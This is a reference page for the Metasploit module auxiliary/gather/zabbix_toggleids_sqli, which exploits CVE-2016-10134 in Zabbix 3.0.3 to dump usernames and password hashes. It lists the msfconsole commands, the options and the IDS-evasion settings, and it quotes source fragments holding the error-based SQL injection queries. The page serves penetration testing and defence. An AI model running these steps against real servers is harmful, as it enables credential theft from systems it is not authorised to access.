Zabbix toggle_ids SQL Injection - Metasploit
This page contains detailed information about how to use the auxiliary/gather/zabbix_toggleids_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Zabbix toggle_ids SQL Injection
Module: auxiliary/gather/zabbix_toggleids_sqli
Source code: modules/auxiliary/gather/zabbix_toggleids_sqli.rb
Disclosure date: 2016-08-11
Last modification time: 2021-04-07 06:12:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-10134
This module will exploit a SQL injection in Zabbix 3.0.3 and likely prior in order to save the current usernames and password hashes from the database to a JSON file.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/zabbix_toggleids_sqli
msf auxiliary(zabbix_toggleids_sqli) > show targets
... a list of targets ...
msf auxiliary(zabbix_toggleids_sqli) > set TARGET target-id
msf auxiliary(zabbix_toggleids_sqli) > show options
... show and set options ...
msf auxiliary(zabbix_toggleids_sqli) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the gather/zabbix_toggleids_sqli auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/zabbix_toggleids_sqli
msf6 auxiliary(gather/zabbix_toggleids_sqli) > show info
Name: Zabbix toggle_ids SQL Injection
Module: auxiliary/gather/zabbix_toggleids_sqli
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2016-08-11
Provided by:
1n3 <[email protected]>
bperry
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD zabbix no The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REQUIREAUTH false yes Enforce authentication
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /zabbix yes The relative URI for Zabbix
USERNAME Admin no The username to authenticate with
VHOST no HTTP server virtual host
Description:
This module will exploit a SQL injection in Zabbix 3.0.3 and likely
prior in order to save the current usernames and password hashes
from the database to a JSON file.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-10134
https://seclists.org/fulldisclosure/2016/Aug/60
Module Options
This is a complete list of options available in the gather/zabbix_toggleids_sqli auxiliary module:
msf6 auxiliary(gather/zabbix_toggleids_sqli) > show options
Module options (auxiliary/gather/zabbix_toggleids_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD zabbix no The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REQUIREAUTH false yes Enforce authentication
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /zabbix yes The relative URI for Zabbix
USERNAME Admin no The username to authenticate with
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the gather/zabbix_toggleids_sqli auxiliary module:
msf6 auxiliary(gather/zabbix_toggleids_sqli) > show advanced
Module advanced options (auxiliary/gather/zabbix_toggleids_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/zabbix_toggleids_sqli module can do:
msf6 auxiliary(gather/zabbix_toggleids_sqli) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/zabbix_toggleids_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/zabbix_toggleids_sqli) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
- Server did not respond in an expected way
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
58: end
59:
60: match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
61:
62: unless match
63: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
64: end
65:
66: if match[1] == flag
67: return Msf::Exploit::CheckCode::Vulnerable
68: end
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
82: query << " FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
83:
84: res = make_injected_request(query, sid, cookies)
85:
86: unless res and res.body
87: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
88: end
89:
90: match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
91:
92: unless match
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
88: end
89:
90: match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
91:
92: unless match
93: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
94: end
95:
96: count = match[1].to_i
97:
98: dbs = []
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
104: get_dbs << "FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
105:
106: res = make_injected_request(get_dbs, sid, cookies)
107:
108: unless res and res.body
109: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
110: end
111:
112: match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
113:
114: unless match
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
110: end
111:
112: match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
113:
114: unless match
115: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
116: end
117:
118: dbs << match[1]
119: end
120:
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
132: user_count << " INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
133:
134: res = make_injected_request(user_count, sid, cookies)
135:
136: unless res and res.body
137: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
138: end
139:
140: match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
141:
142: unless match
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
138: end
139:
140: match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
141:
142: unless match
143: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
144: end
145:
146: count = match[1].to_i
147:
148: 0.upto(count-1) do |cur|
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
154: get_col << ',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
155:
156: res = make_injected_request(get_col, sid, cookies)
157:
158: unless res and res.body
159: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
160: end
161:
162: match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
163:
164: unless match
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
160: end
161:
162: match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
163:
164: unless match
165: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
166: end
167:
168: user[col] = match[1]
169: end
170: users << user
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
181: res = send_request_cgi({
182: 'uri' => normalize_uri(target_uri.path, 'index.php')
183: })
184:
185: unless res and res.body
186: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
187: end
188:
189: cookies = res.get_cookies
190:
191: match = /name="sid" value="(.*?)">/.match(res.body)
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
189: cookies = res.get_cookies
190:
191: match = /name="sid" value="(.*?)">/.match(res.body)
192:
193: unless match
194: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
195: end
196:
197: sid = match[1]
198:
199: if datastore['REQUIREAUTH']
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
211: },
212: 'cookie' => cookies
213: })
214:
215: unless res
216: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
217: end
218:
219: if res.code == 302
220: cookies = res.get_cookies
221:
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
226: },
227: 'cookies' => cookies
228: })
229:
230: unless res and res.body
231: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
232: end
233:
234: cookies = res.get_cookies
235: match = /name="sid" value="(.*?)">/.match(res.body)
236:
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
233:
234: cookies = res.get_cookies
235: match = /name="sid" value="(.*?)">/.match(res.body)
236:
237: unless match
238: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
239: end
240:
241: sid = match[1]
242: elsif
243: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
Server did not respond in an expected way
Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:
238: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
239: end
240:
241: sid = match[1]
242: elsif
243: fail_with(Failure::Unknown, 'Server did not respond in an expected way')
244: end
245: end
246:
247: return sid, cookies
248: end
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Related Pull Requests
- #15011 Merged Pull Request: Enhance analyze command API to understand modules' needs
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #10505 Merged Pull Request: Add post authentication information in modules
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7228 Merged Pull Request: Create zabbix_toggleids_sqli auxiliary module
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/zabbix_login
- exploit/linux/http/zabbix_sqli
- exploit/linux/misc/zabbix_server_exec
- exploit/multi/http/zabbix_script_exec
- exploit/unix/misc/zabbix_agent_exec
- auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
- auxiliary/sqli/openemr/openemr_sqli_dump
- auxiliary/sqli/oracle/dbms_cdc_ipublish
- auxiliary/sqli/oracle/dbms_cdc_publish
- auxiliary/sqli/oracle/dbms_cdc_publish2
- auxiliary/sqli/oracle/dbms_cdc_publish3
- auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription
- auxiliary/sqli/oracle/dbms_export_extension
- auxiliary/sqli/oracle/dbms_metadata_get_granted_xml
- auxiliary/sqli/oracle/dbms_metadata_get_xml
- auxiliary/sqli/oracle/dbms_metadata_open
- auxiliary/sqli/oracle/droptable_trigger
- auxiliary/sqli/oracle/jvm_os_code_10g
- auxiliary/sqli/oracle/jvm_os_code_11g
- auxiliary/sqli/oracle/lt_compressworkspace
- auxiliary/sqli/oracle/lt_findricset_cursor
- auxiliary/sqli/oracle/lt_mergeworkspace
- auxiliary/sqli/oracle/lt_removeworkspace
- auxiliary/sqli/oracle/lt_rollbackworkspace
Authors
- [email protected]
- bperry
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
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